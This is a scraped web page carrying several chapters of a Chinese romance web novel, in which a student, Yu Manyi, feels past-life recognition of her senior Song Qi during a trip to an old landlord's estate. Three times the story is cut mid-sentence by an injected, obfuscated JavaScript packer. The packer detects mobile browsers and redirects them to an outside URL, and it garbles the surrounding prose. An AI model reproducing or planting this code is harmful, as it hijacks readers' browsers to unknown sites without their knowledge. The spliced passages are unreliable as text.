她也不应该把宋麒气走,他看起来本来是打算陪她在车里坐着的——但是她哪里知道,揣测他让自己买电脑,就会把他气走呢?他也太容易生气了。 于曼颐裹着外套蜷缩在后座上,肩膀抵着车窗,对宋麒生出了好奇,也对他在面对自己时的一切生出了不解。她迷茫地把视线转向车外,发现一个当地人,扛着一大捆秸秆,从车前面走过去了。 于曼颐只有很小的时候,在家里老人那暑假时,才见过烧秸秆的人。她都好多年没回过乡下了,也好多年没见过烧秸秆了,乍一看着实有些新奇。 她的新奇在意识到对方就要在停车不远处烧秸秆时消失了,童年记忆后知后觉地被唤醒,于曼颐想起来了——烧秸秆有好多烟,她车被锁了,她关不上窗户! ……啊! 这车窗的缝隙真是刁钻,既不够她把头伸出去叫喊,又不够她用衣服就把缝隙塞住。于曼颐急得喊了好几声“叔叔”,然而烧秸秆的烟已经腾起来了,风又大,一吹就是一片,像团浓雾似的散开,立刻把车给包裹了。 秸秆烟立刻钻进车窗,于曼颐被呛得眼泪都出来了。那当地人估计也没想到车里还有人,起烟之后更是什么都看不见。那烟如此浓,简直像是点燃了一团大火,植物灰立刻将这段山路全都笼罩了。 怎么会这样! 白烟钻进车里,车里的能见度一下也变得很低。又因为进来的烟散不出去,那味道就越来越呛,呛得于曼颐咳嗽不止,连话也说不出来。她手忙脚乱地去找手机,睁着一双被呛出眼泪的眼睛,努力寻找那条宋麒让自己去报道的短信记录。 越急就越看不清楚,越急手就越抖。于曼颐咳得正厉害时,忽然听到车外传来了急促的脚步声。车锁“咔哒”一声,紧跟着,中排的车门被猛然拉开,有人撞开浓烟,伸出手,在烟雾里一把攥住了正在摸索手机的于曼颐。 她眼泪忽然就流出来,心里出现了难以名状又没来由的巨大委屈。那个人本来只是攥住了她的手腕,又摸索着护住她肩膀,要把她人从车里带出去。 然而于曼颐的反应更是奇怪。她觉得自己的身体和眼泪都不再听自己使唤,那种感觉就仿佛是另一个人从她身体里苏醒过来。那个人脾气好大,又或者那个人脾气也不大,她只是笃信眼前这个人会包容她一切任性骄纵。 她忽然把宋麒伸过来护着她的手一把甩开,气势汹汹又流着眼泪质问:“你凭什么把我一个人留下来!” 烟雾里,她看不清宋麒的脸,只能凭借感觉意识到对方的内疚和迟疑。 “我先带你下车。”他似乎还没有反应过来,只是焦急地说。 “你为什么又要留我一个人!”她在白烟里流泪不止,“你不许再留我一个人……不许再留我一个人!我和你吵架你就忍着,我惹你生气你也忍着,以后都是你不对,以后都是你有错,你——” 她甩开的手腕忽然又被人攥住,而后被拽得往前一跌,一边咳嗽,一边被人紧紧搂在怀里。 “对,都是我不对,都是我有错,”那个白烟里的人语气竟然也出现了些微晃动,几乎是带了泪意,“……是我不该留下你一个人。” 4. 于小姐番外(四) …… 事情真的变得愈发不可控了。 烧秸秆的白烟已经散开了,去看丞相坟的舍友也都回来了。于曼颐站在远处,看见车的四扇车门和车窗全都被打开,里面的烟也慢慢被风吹干净。 游筱青和苏文他们站得离车不远,但于曼颐需要新鲜空气,就站到了拐弯处的上风口。她又轻咳两声,鼻腔里烟熏火燎的气息终于变淡了许多。 刚才到底是…… 到底是怎么了。 于曼颐不明白,她从那天在店里碰到兼职的宋麒,就出现了许多不明白。那些吉光片羽在脑海中一闪即逝,促使她控制不住地关注他,又做出诸多自己都无法解释的行为。 这种无法解释包括,没有人会抱着刚见过三次的学长大哭,说些没头没尾的台词——至于宋麒在那个瞬间和他平日作风截然相反的反应,则让于曼颐的不解加倍。 还是那句话,虽然只见过三面,但于曼颐从第一次就察觉到,宋麒气质里有一种不属于同年龄段、甚至不属于这个时代的稳重。 这稳重的气质如此微妙,哪怕他第二次见面是在主动逗弄她签到,也无法冲淡那股骨子里的旧派作风。就像是古老的城墙底下生长出的老植物,在那里安安静静地长了许多年。哪怕每年的叶子都是新生的,但枝干已经经历了许多代的沧桑了。 于曼颐又咳了一声,听到身后传来脚步声。 这株老植物,给她买了水回来了。 于曼颐回头,神色客气生疏,和她刚才在他怀里掉眼泪的样子截然不同。宋麒的眼神在她脸上精细地研究了几秒,而后了然,把冰镇的矿泉水递给了她。 “你润下嗓子,”他说,“还去于家吗?我可以找个喝东西的地方把你放下,再送他们过去。” 顿了片刻,他继续说:“再过去找你。” “去的,我没事了,”于曼颐急忙说,“于家那个院子,我……我还挺想去看看的。” 不想去看丞相坟,却对于家院子有兴趣,宋麒看她的眼神又变得有些微妙。或许是和前两次相比,他今天看于曼颐的样子实在太不加掩饰,以至于于曼颐犹豫半晌,还是鼓起勇气说: “学长,我觉得你老这么看着我,有点不礼貌。” 他对谁都客客气气的,不说话的时候也那么稳重,偏偏一到于曼颐眼前,就熟稔到了不合时宜的地步。于曼颐觉得他俩真的还没熟到那个份上。 她这话一说,宋麒果然将目光移开了。但他嘴上还是没控制住地反问:“不礼貌?” “对,我们……我们加起来,也就见过三次吧。” “三次。” 他说这话的时候不是反问了,但也绝不是单纯的重复。明明就两个字,唇齿开合间竟然灌进去诸多情绪,因为太复杂,以至于显出一种汹涌的平静。 “嗯,三次,”于曼颐肯定道,“我刚才想了一下,我在车上的时候,可能是刚睡醒,脑子不太清醒,我好像做了一个梦,但是也记不清梦到了什么,那团烟就很像梦里的场景。总之我就是很混乱,所以才会……” 她略过了抱着宋麒哭的几句描述,这太尴尬了。 “……学长我不知道你有没有女朋友,因为……” “我没有。” 宋麒忽然为自己解释了一句。 于曼颐茫然抬头,又胡乱点了下脑袋:“没有就好,要不然我也太不像话了。不过就算你没有,我那样做也不像话……我现在回车里,大家还等着去于家玩呢……然后我们把刚才的事忘了。” 她觉得自己表达得很清楚了,如果对面是别的男生,肯定就也打个哈哈就过去了。 然而,宋麒显然不是别的男生。 路边就是山壁,岩石被藤类植物攀爬着覆盖。宋麒在一片宽阔翠绿的植物叶子底下抱着手臂听她把话说完,忽然抬头看了一眼那片给他眼睛覆着阴影的叶子一眼,然后伸出手,把那片叶子揪下来了。 刺眼阳光转瞬把他神情照得很清晰。于曼颐不知所措,只看着他把那片叶子揉了一下又往地上一扔,最后一言不发地转身走了。 好复杂的一串动作。 要是她没看错的话……于曼颐继续不知所措地想。 他那个突然被照亮的神情,有点像她小时候把家里狼犬带出去玩又把它落在公园里,最后它自己找回家蹲在门口的那种…… “你怎么把我忘了?” ……大概是这个感觉。 * 好端端的,怎么感觉自己做错了什么呢?从丞相坟到于家院子一路,于曼颐都坐在车的最后一排,对这个问题进行深入思考。 宋麒把后视镜稍微掰了一个角度,于曼颐抬头的时候,发现自己都没法在镜子里看见他的眼睛了。 你们植物表达不满的方式还挺微妙的。 大概是丞相坟里玩得累,几个人都抱着胳膊睡着了,车上醒着的,只剩下开车的宋麒,心事重重的于曼颐,和坐在她旁边补妆的游筱青。 于曼颐尚在神游,游筱青忽然把气垫盖子“咔哒”一合,转头看起她来。于曼颐也随着声音转头,随即便听到游筱青压得极低的声音: “你把人家怎么了?” ……啊? “刚才上风口就你俩,”游筱青继续小声说,“回来就不说话了,零食水果一口不吃……于曼颐,你知不知道一群人出来玩,司机为大?” ……啥? 没听说过这四个字啊。 “我根本没惹他,他自己不高兴了,”于曼颐说,“他还当着我揪树叶,小花小草多无辜啊。” “这么热的天,人家来回开车五六个小时,”游筱青秉承着“司机为大”的原则继续说,“本来就累。你一会儿下车去说几句好的。” “关我什么事啊?” “反正刚才我们说话都没用,就剩你了,你去试试。” 于曼颐:…… 真不关我事啊! 但是……真的不关我事吗? 于曼颐仔细回顾了一路上宋麒和她的几次交锋,发现罪魁祸首是自己的可能性还真有点大,虽然她想破脑袋也没想出问题真正所在,宋麒那样子就像她上辈子欠他似的——那上辈子的事她哪记得起来。 不过“司机为大”这四个字,初听莫名,仔细琢磨,和“尊重厨子”一样,是群体生活必须的真理与智慧。 于曼颐在车上给自己做了半天心理建设,这辆装了八个人的小车终于开进了于家大院景区的停车场。 “我去买门票,你们在检票那等我。”小邮回头说,顺手解开了安全带。 他先下车,二排的两个男生拉车门,四个女生最后陆续下车。大部分自发分成小部队,三三两两往检票的地方走。于曼颐脚步一顿,回头看见宋麒正在给前挡风玻璃放遮阳挡板。 最近气温降下去点,太阳一点没弱,于曼颐知道车被暴晒之后多难捱,宋麒心情不好归不好,做事还是一贯周到……她脑子里为何会出现“一贯”这两个字? 小邮还没到门口,于曼颐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我给你……捶捶。”于曼颐说,说完了才意识到自己这行为有一种体贴里带点诡异的美感。她把手收回来,讪讪道:“筱青姐说你挺辛苦的,我不太会慰劳人,就……算了,谢谢你刚才在山上给我买水。” 她就这么胡言乱语一通,立刻拎着水瓶把车门一推,落荒而逃。绕过车头的时候,于曼颐也看不见宋麒的表情,毕竟他的挡风玻璃都被遮住了。 但等她走到驾驶座那边的窗户时,她忽然发现宋麒并没有下车,而是把车窗降下来,手里拿着车钥匙,又开始用今天一早见到她时的那种眼神看着她了。 “……?”她再次顿住脚步。 小邮票都快买回来了,遮光板也帮他铺好了,他不下车等啥呢。 于曼颐直挺挺站着,看见宋麒用车钥匙在自己左边的肩膀上点了两下,说:“慰劳得对称吧。” …… 于曼颐不知道如何应对,她只知道看起来宋麒心情好了很多,精神状态有一种还能再开五小时的感觉。 总之,她那对称的两下敲完之后,宋麒就很愉快地下车了。车又“咔哒”上锁,只是这次于曼颐没被关在车里,而是和他一起站在车外。 这也太容易高兴了,她当时哄她家狗花的时间都要更久。明明在苏文的叙述里是一个对大部分事都不太关心也没什么情绪波动的舍友……今天所有情绪都用在于曼颐这儿了。 因为于曼颐“我们还没熟到那个份上”的表态低落,又因为她主动过来和他示好不再低落。 两个人一前一后,慢慢往于家大院的方向移动。于曼颐看着他若无其事的背影,忽然很想追过去拉住他的手一起走。她被自己再度出现的这种奇怪情绪吓了一跳,迅速把这念头压下去了。 于曼颐忽然意识到,有可能不是人家宋麒在和自己“装熟”。 她在惊慌时下意识钻进他怀里,又在无所事事时想牵住他的手。这一切冲动的本身,是她自己内心深处的一些地方,对宋麒的身体……很熟。 5. 于小姐番外(五) 于曼颐和宋麒到于家大院门口的时候,小邮也已经把票买回来了。他一下车就抽出顶遮阳帽戴着,现在手里又捏着票,就差再举个小旗,即可完美代入旅行社的金牌导游。 于曼颐看了他一眼,又在放了闸机的院门前站定,抬头仔细打量起于家大院的门脸来。 中式庭院都讲究一个藏字,财不外漏,不管宅子有多大,院门也都很低调。于家大约是属于低调的里面较为高调的那一批,门楣浮雕精细,瑞兽蹲守。有些细节似乎被火燎过,不过也都修旧如旧了。 于曼颐盯着那些火燎出的黑斑看了一会儿,便跟着小邮进门了。 入门处和其他常见景点没什么不同。门口有人检票,还有一处游客中心,以及一处被改来卖纪念品的侧屋。于曼颐和宋麒缀在一行人队尾,她倒数第二个进门,检票的是个老人,做事情懒散敷衍,唯独拿过于曼颐的门票时抬头望了她一眼。 丝滑的队伍卡顿一瞬,小邮急忙回头询问:“齐叔,票怎么了?” 被称为齐叔的人骤然反应过来,将于曼颐的票也在闸机前一过,回头冲小邮笑道:“岁数大了,老是突然发愣。行了,带你同学们好好去玩吧。” 于曼颐和宋麒这才依次被放进门,不过小邮没有马上离开,而是很关切地询问:“齐叔,我上次帮你网购的营养品还有吗?我再给你从上海寄两箱过来?” “不用不用,还有呢。这孩子,真懂事。” 于家大院虽说在当地有名,但毕竟属于小众景点。于曼颐他们一进门,门外就再也没别人了,齐叔也走回躺椅,舒舒服服地坐下扇扇子了。 “是你熟人?”于曼颐小声问。 “邻居,看着我长大的,”小邮说,“没孩子,我就多帮着照应。前几年这边搞旅游,就安排他过来负责检票了……反正游客也少。” “也挺好。”于曼颐若有所思。 进了大门,又走过一条长廊,这座始建晚清的院子终于向这些新时代的学生解下面纱。房子和房子挨得近,院落之间九曲回廊,若是没有熟人带着,真是绕也绕不出去。 屋子已经都不让进了,门外拦一根绳索,只能将头伸进去张望。靠外的屋子都是功能性的,于曼颐跟着见了一处库房,又有一处厨房,还有两间屋子是用来收账和与佃农计算粮食的——总而言之,地主家庭的味道十足,和以往在城市里见过的一些官宦院落很不一样。 “于老爷也算不上巨富,”小邮在前面边走边说,“甚至在地主里,也算不上最有钱的那一批。但在这种小地方,那就是掌管佃农们生计的大人物,是那个时代很标准的——” 小邮卡顿一瞬,苏文接嘴道:“乡绅?” “对,标准乡绅,”小邮说,“所以但凡是来这里的外乡人要做事,第一步就是来拜访他。前面是前厅,也是于老爷会客的地方。” “哦!这就是你说的那个,被烧了又被重建的前厅!” “对,是重建的,所以木头什么的看起来很新。但是样子和制式完全是复刻以前的,我带你们去看看。” 从厨房到前厅,又是一段回廊,而后便是一片假山古树搭建的景观,后面便是宽敞的前厅了。见客人的地方果然比别的地方气派,当中一座太师椅,是给一家之主坐的,两侧各有一排椅子,于曼颐听见小邮说: “一般是家里其他人坐左边这排,客人们坐在右侧。” “都有什么客人啊?” “什么样的都有。比如之前有人做生意,办报,想和于老爷筹款,就会来拜访。县里的官员来了,也会来这儿。我家最老的老太爷说,他小时候参加过一个扫盲班,当时那些老师们也是先来了于家……” “这都是公事,这种大宅子私事也多。哦,比如婚嫁的事,这在以前可是大事。于家小姐少爷们谈亲事,提亲的人,肯定也是来这儿……” 小邮喋喋不休,讲解得尽职尽责,但落到于曼颐耳朵里的声音仍然越来越淡。她控制不住地盯着当中那把座椅看,忽然感觉浑身都不太舒服。 这种不舒服在宋麒不动声色地走过来,又用身体挡住她的视线后才显出好转。游筱青也在这个时候注意到她脸色不好看,急忙拉着她胳膊问: “怎么了?是不是给烟呛了还没缓过来?” 宋麒把于曼颐的视线和正当中的座椅隔断了,她也在这个时候回过神,佯作无事地摇头:“没事没事,我……小邮,这前厅就只有这个地方吗?” 小邮被她问得这叫一个正中下怀。 “这就是这种老宅子的奥妙所在了!”他再次金牌导游上身,胳膊一抬,手指向了二楼,“你们能看见二楼那个窗口吗?” 众人沉默片刻,尤红迟疑开口:“看不……见?” “看不见就对了,”小邮语气得意,“你们可以从那个楼梯往上走,就能看见一条窄廊,顺着窄廊过去,就是我说的小窗口。那地方设计得很精妙,从上往下看很清楚,但从下往上就什么都看不见……你们知道原因吗?” 真是引导式的导游词,于曼颐耐着性子满足他卖关子的欲望:“说说?” “因为以前的女眷们不能随便见外宾呀!”小邮终于卖舒服了,“这种乡绅家里的女眷们,大门不能出,二门不能迈,从生下来就只能在宅子里活动,根本接触不到外面的世界。就算外面的客人进了家门,没有允许也不能露面。” “但是她们会好奇?” “对,会好奇,”小邮说,“所以就出现了这种窗户,能让他们在有外人来做客时从上往下偷偷看一眼……那时候的女人,就只有这么一扇窗子。” “真压抑。”尤红喃喃自语。 “我想上去看看,”游筱青忽然说,“我想看看那窗户到底有多小……曼颐,你和我一起吗?” 宋麒刚才替她挡着了太师椅,于曼颐身体很快就恢复了。她点点头,被游筱青牵着手,双脚很快踏上了那段吱呀作响的木楼梯。 老式楼梯又高又窄,踩上去总有种要垮塌的不稳定感。她被游筱青拉着往上,几步台阶爬得气喘吁吁。 和小邮所说一样,那段走廊的确很窄,光线也不大好。于曼颐和游筱青一前一后地走到那处透光的窗户前,发现那隐蔽窗口的形制确实相当巧妙。 游筱青先伸头出去探看,又把身子收回来,叫于曼颐也去体验。她“嗯”了一声,接替游筱青的位置,手指扶住侧边窗框,身子探出去的瞬间,视线下落,落到了堂厅里面。 或许因为不是真正的古迹,这座堂厅里面并没有任何限制,任由游客四处走动,座椅也随便坐。 于曼颐看见小邮带着宿舍其他两个姑娘走到一处屏风处,和她们笑眯眯地解释着什么,而卢相沧背着手在一幅垂挂的山水画前沉思。苏文站在原处看手机,而宋麒…… 宋麒。 于曼颐忽然心跳有些快。 宋麒坐在太师椅左侧的一把椅子上,正心不在焉地和站在他身旁的苏文说话。他坐得不算正,身子斜倚着靠背,左手抬起来抵在太阳穴上,正一点点地按。 于曼颐看见他闭了会儿眼睛,又睁开,身子坐回去,然后站起身,起身前扶了一下椅子扶手。 几乎就在站直身子的一瞬间,他忽然抬起头,视线直着看向二楼窗户所在的位置。 四目相对的瞬间,那熟悉的、有人苏醒的知觉再度出现。于曼颐一动不动地看着抬起头的宋麒,直到一滴眼泪从眼角滴落,又从二楼落下,最后在坠向一楼地面的途中……消散。 * 这次心中的钝痛似乎比先前几次都要长久,都要剧烈,而这次宋麒甚至不在于曼颐身边,她只是隔着窗户远远与他对视一眼。于曼颐在二楼缓了很长时间,直到游筱青晃她肩膀的动作剧烈到无法忽视,她才从那个站台的白雾里抽身而出。 “你今天到底怎么了?”游筱青瞪大眼睛问她,“你不舒服就和我说,哎,我不该答应苏文,我不该这么热的天带你们……” “筱青姐,”于曼颐忽然开口问,“你上次是不是和我说,你和苏文是……一见如故?你觉得你之前认识他,是吗?” 这话题好突然,游筱青猝不及防,脸微微红着回答:“对,我是说过……” “那你见到他的时候,心里会难受吗?” “难受?不难受呀,我每次见到他,都挺开心的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“老甄就这么个人,zhuangbility得很,你习惯一下,”苏文和方千说完,又把头转回于曼颐方向,介绍道,“你们刚才在二楼,我介绍一下……这是我们同级的方千和老甄,还挺巧,旅游碰上了。” “我不是旅游,我是为了破选修课作业。”方千压着火气怨念道。 说话间于曼颐才了解到,方千和老甄都是大三的学生,不过和宋麒并不是同一个学院,他们是外语学院。除此之外,她也很难看出方千和宋麒他们关系好不好,她看起来和谁都骂骂咧咧的…… 不过她对于曼颐态度还不错,可能是为了在学弟学妹面前维持住自己“美丽温柔方学姐”的招牌。 “所以学姐,这是你自己的衣服吗?”于曼颐壮起胆子和她搭话。 “我自己的?不是啊,我买这干吗,我又不是老甄,还特意去网购。我刚租的,”方千说,“我都懒得拿来再拿回去,我在门口那家纪念品店租的。” 她甩了甩手里的那方帕子,在椅子上一抹就坐下,用起来不心疼的样子的确不是自己的。 “你们都来这种地方拍照了,”于曼颐继续和她聊,“怎么还租和网……网购洋装和西服啊,拍出来会不协调吗?” “老甄说艺术就是碰撞,”方千一脸生无可恋,“我说穿吊带背心更碰撞,他又不同意,他说我的想法打破了他艺术理念的和谐……他来什么外语学院啊他就应该去你们设计学院!” 于曼颐发出几声尴尬的笑声。 笑着笑着,她眼前忽然闪过一道人影。于曼颐被吓得一抬头,看见甄学长闪现自己眼前,用无名指抬了一下金丝眼镜的中框,字正腔圆地和她说: “学妹,我刚才看了你很长时间……You know what? I! Have! A! New! Idea!” 于曼颐:…… 下一秒,她胳膊被人往旁边一拽。于曼颐侧过头,发现宋麒忽然走了过来,正不满里夹杂着些微不解的,看着甄学长。 于曼颐觉得宋麒似乎是有一些敌意,但甄学长完全没有看出宋麒的敌意。他似乎活在一个伟大的艺术设想里,这个设想是流动的,可以被颠覆的,且时刻被新出现的人和事物壮大着的。 他又宕机状态看了宋麒的脸三秒,忽然伸手,一把攥住宋麒肩膀,用更激动的语气说: “靠,I! Have! A! Better! Idea!” 6. 于小姐番外(完) 老甄带路,游客服务中心隔壁的小屋子里,霎时间挤进去一大群人。 男生衣服挂了左墙一半,女生衣服挂满了右墙,又占了左墙的另一半。老板娘一时间瓜子都没工夫磕了,立刻站起来张罗生意。 “49块钱租衣服加20包妆发啊——哎哎老齐,别躺着了,我忙不过来了!” 于曼颐被挤在人群和一堆民国风的衣服里,百忙之中回头,看见刚才门口那位帮他们检票的爷叔正舒服躺在门口的摇椅上,一边扇扇子一边推辞: “我刚才检了八张票,站不动了。” “八张票,那可真是累坏你了。” 老板娘嘴上抱怨,手脚倒是很麻利,谁想看哪种类型的衣服,她就动作敏捷地找出来。忙了一会儿才看到小邮——出租的男装大多均码,他个子太矮,自己偸试了几件,全都挂在身上晃荡,显得颇为可怜。 “哎呀呀,你倒是和我说一声,”老板娘一拍大腿,弯腰从衣架底下抽出一身封在透明袋里的墨绿色衣服,“这个码数小,拿去试。” 于曼颐正和游筱青拿着根簪子讨论,余光侧过,看见小邮把衣服拆出来,满脸不情愿:“邮差的制服啊?” 胸前俩大口袋,领口封紧,腰间还配了个邮包。老板娘见他不情愿,嗓门持续提高:“邮差多好啊。我嬢嬢说,早些在这些地方,邮差可是公家的活,还得考试才能进呢!” “我想穿西装!”小邮抗议。 “西装没你的码。”老板娘用词直白。 “那长袍。” “长袍拖地了。” 于曼颐猜测小邮当地人,和老板娘也认识,她才能这么不拿他当外人的招待。游筱青拿着簪子去照镜子了,于曼颐回头帮着小邮询问: “阿姨,有没有别的小码制服?就只有邮差的吗?” 她这话提醒了老板娘。对方原地站着思考片刻,又一拍大腿,再次转身,从高处抽出另一套来。 “这个,”老板娘拍着衣服,发出“啪嗒”的声音,“管邮差的,邮政总局主管的,行吗?” “还是邮差啊?”于曼颐不禁莞尔,“我是说有没有——” “不用不用!”万万没想到,小邮盯着那身衣服忽然眼前一亮,“太威风了,这和交通站的站长有什么区别!就它了!” ……没看出来,真是官迷。不是旅游学院就是邮寄行业,心里还藏着交通站的梦想,看来他是和信息的传递锁死了。 小邮的码数问题解决了,剩下几个男生似乎没什么执念,基本是老甄要拍什么风格他们就拿什么款。苏文和卢相沧正在几件长袍里做最后的抉择,宋麒毫无参与兴趣,被老甄硬塞了一件黑色的民国学生服。 于曼颐忽然皱了皱眉,心里莫名的不舒服。 宋麒的视线并不在她身上,但似乎又捕捉着她每一次情绪的细微波动。于曼颐看见他身形一顿,将头侧过来,视线在她略有抵触的神情上停留片刻。 于曼颐发现他在看自己,立刻将目光移开。 那种在二楼与宋麒对视时的情绪又出现了,但她这次没有掉眼泪,有的只是心里极度的抵触——她不想看见他穿那件黑色的学生服,但她有什么立场去对一个还不太熟的学长指手画脚呢? 她刚才已经和宋麒说过了,说他看她的眼神太直白,宋麒也就没有再像之前似的盯着她不放。她感觉到视线的压力被移开,而宋麒的声音传过来:“不穿这个了吧。” 她像是心里一块巨石落下来,终于恢复了呼吸的能力。 “怎么了?我觉得这身特别适合你,我感觉啊,你相信我的品味,我觉得这套衣服就像是为了你设计的一样——” “不穿。”宋麒言简意赅。 甄学长声音一滞,于曼颐耳力太好,听到他回头和方千小声嘀咕:“我怎么老是有点怵他,大家都是同年级,你说我老怵他什么……” “他家里人都这股劲儿,”方千也压低声音,“我上次见他姑妈开车来校门口给他送东西,那风衣大墨镜,可真是、可真是……” 话说到“可真是”这三个字就悄然无声了。 然而没有老甄的安排,宋麒也不是一个对选衣服这种事有任何主观意愿的人。他往墙边扫了一眼,眉头皱着,倒不是在发愁穿什么,只是觉得这些衣服,不太干净…… 正烦着,身边多了道鬼鬼祟祟的小影子。 “那个,那个。”那道影子壮起胆子,抬手往高处指了指。 宋麒视线没转过去,嘴角已然带了弧度。他故意不往对方手指的方向看,装模作样道:“哪个?” “就那一身,就……” 于曼颐觉得自己指得够清楚了,怎么对方的视线还是一副找不着焦点的样子——算了,她还是靠自己吧! 屋子里人多,燥乱。小邮刚换上了自己邮政总局的高级制服,穿去游筱青面前请她点评。袁晚头上簪了朵大红花,怎么看怎么不顺眼,并指责给她戴花的尤红审美过于风尘,喝令她立刻把花取下来。方千在讽刺老甄,卢相沧和苏文在给彼此的头发狂喷发胶,而老板娘站在门口继续嗑瓜子,并把瓜子皮扔在了齐叔的烟灰缸里,引发老头的抗议—— 至于于曼颐,于曼颐此时顾不得关注他们任何人,她快步挤到衣架更深处,踮起脚,胳膊抬高,使劲去够一件挂在高处的中山装。 她不觉得老甄穿的那种老派西装好看,太张扬了,人低调踏实一点总是更好、更平安。她也不喜欢苏文他们选择的长袍,虽说苏文穿上也不难看,但是拿给宋麒穿,就显得太老掉牙了。 但是挂在墙上的那件中山装,款式虽然老派稳重,但是一点也不老气。面料又是呢制的,看起来挺括又不张扬,正好能把宋麒身上那股劲儿压一压…… 于曼颐的脑海中像是有个模糊的影子,这个影子就是穿着中山装站在夜色里的宋麒。她废了好大力气才摸到那身衣服,并试图通过拉拽把衣服从衣架上扯下来。 身后忽然覆过一片温热。于曼颐垫着脚身子一僵,胳膊一侧光线被遮盖,一个比她高了大半个头的影子便覆盖过来。 他轻而易举地把那套衣服拿了下来。 ……你现在倒是知道是哪件了。 于曼颐这次居然没有从他身子下面逃走,只是低了下头,便沉默地转过身,在他用身体隔开的那处空间里抱起手臂,余光看着他接下来的动作。 大约是因为另外几个男生正在占用试衣间,宋麒回头看了一眼,没有去里面试,而是把中山装的外套从衣架上拆下来,先穿上试了下尺寸。 尺寸也合适,就是…… 这店面实在逼仄,逼仄得像是那种民国沿街开设的小门脸布料店。空间狭窄,人的呼吸声都变得明显。于曼颐尽力克制着不去看换了上衣的宋麒,可手就跟不听使唤似的,慢慢抬起来,最后停在了他领口的位置。 又一次与理智对抗失败,于曼颐甚至有了点破罐破摔的情绪。她转过头正视宋麒的眼睛,发现他也在低着头看着自己,神色比刚才在山路上抱住她时还复杂。 “你……”她欲言又止。 宋麒身子又低了一些。 她的眼神划过他的眉毛,眼睛,鼻子,嘴唇,甚至下颌的轮廓。她觉得那些线条那么熟悉,就好像自己已经在纸面上描摹过千百遍。她脑海里有许许多多的东西在浮现,可仔细想,她又什么都……什么都记不起来。 那道视线千回百转,最终划落他滚动的喉结,落在领口的地方。于曼颐闭了下眼睛,干脆放开所有理智的限制,任凭右手抚上他还没系上的纽扣,继而将左手也抬起来,替他将被折叠的领角捋平,又把最后一枚扣子系妥帖。 “蛮适合你的,”她小声说,“还要试别的吗?” 她的话很客气,可是动作又不是那么回事,宋麒似乎已经看穿了于曼颐的身体在与理智交战。他没有再为难于曼颐,也不舍得,只是微微往后退了一步,语气比这一路上每一次和她说话都温和: “不试了,就穿这件吧。” “那我……我去换我的衣服了。” “好。” 短短一个字,结束的那一刻,她称得上落荒而逃。 * 和男生那边单套衣服的选择情况比起来,女孩们这边花的时间略长了一些。于曼颐帮着游筱青又参谋了几套耳坠,听见试衣间传来袁晚气急败坏的声音—— “我就说花20让老板娘给我画,尤红你给我把这红脸蛋擦了,你擦了!” “20多亏啊!我给你擦了,你别着急!我再来一次!” “你画得像个乱说姻缘的坏媒婆!” “呸,谁像那种混账东西,死了都没转世。” “……那你还给我画成这样!!” 翡翠耳坠挂在脸侧晃悠,于曼颐和游筱青对视一眼,“噗嗤”笑出声来。于曼颐又用别的款在游筱青脸上比划了一下,终于下了定论: “我觉得这个翡翠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771517|190235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的就是最好的,就它吧。” “这么大尺寸,珠光宝气的,”游筱青说,“太张扬了吧?我怕到时候拍的照片发到朋友圈,又有些烦人亲戚指指点点的……” “你爸妈管你吗?” “我爸妈才不管呢,我爸妈可由着我了。我是怕那些亲戚……” “你爸妈都不管你,你管那些闲人干吗?说一个拉黑一个。成天对着别人指指点点,脑子像是黄土里扒出来的。” “就是!”隔壁坐着玩手机的方千也加入对话,“就那些裹脚布成精,我从来不理他们,越理越来劲。” 于曼颐觉得自己黄土扒出来就够有创意了,结果方千的用词更有创意。她将这五个字默默记在心里,并决定将其设定为一个词组——什么鼻烟壶成精、棺材板成精——于曼颐看了一眼墙上挂着了一套晚清补服继续产生灵感——补服成精之类的…… 最后一枚簪子戴好,游筱青和洋装和于曼颐的旗袍造型就算完工了,袁晚也在尤红的推搡之下不情不愿地走出了试衣间。腮红的确略有过量,但整体造型复古又不违和,于曼颐连声夸她好看以给予信心,终于把人都哄出了大门。 几个男生在门口久等,倒也算有眼色,看见姑娘们出来连声夸赞。方千抱着手臂走在最后,因为此事皆源于她并不感兴趣的摄影课作业而毫无耐心: “行了行了赶紧走吧,我们美我们知道,还用得着你们点评——老甄!找到拍的地方了吗!” “在这儿呢在这儿呢,”被点名的摄影艺术家急忙举起自己的单反,暂时替代了小邮的导游位置,“我刚才去踩点了一圈,有个地方很适合拍,就在那边的花园里。小桥流水搭花架,还有假山石呢。跟着我走就行。” 一人打头阵,一行人浩浩荡荡地跟,唯独宋麒和苏文适时放慢了脚步。于曼颐牵着游筱青与他擦肩而过,起初还能忍着,几步之后便回头,发现他又在看自己。 他看于曼颐,苏文的视线则黏在游筱青身上。于曼颐看看身侧又看看身后,忽然忍不住调侃道:“学长,你老盯着游姐姐干什么啊?” “啊。” 两个人还在暧昧期,于曼颐冷不丁戳破,游筱青脸一红,苏文也被问得结巴。宋麒抱着手臂看热闹,用肩膀顶了一下苏文,终于把他喊回神。 “哦,我、我……”苏文汗都落下几滴,“我没见过她穿这种复古洋装,挺漂亮的。” 谁知这回让他下不来台的人成了游筱青。她轻笑一声,学着方千的语气说:“我们漂亮我们知道,还用得着你点评。” “我,我没有点评,”苏文继续结巴,“我是……” 两个姑娘才不管他说什么,拉着手就笑着跑了,一前一后穿过了形状圆满的拱形门,转眼消失在浓郁的树影里。 一门相隔,远处是方千和小邮这两个大嗓门对江南庭院的惊乍,近些则是游筱青和于曼颐此起彼伏的笑声。宋麒放缓了步子,语气里是藏不住的调侃。 “苏老师,”他说,“你一见着人家游小姐,可真是够没出息的。” 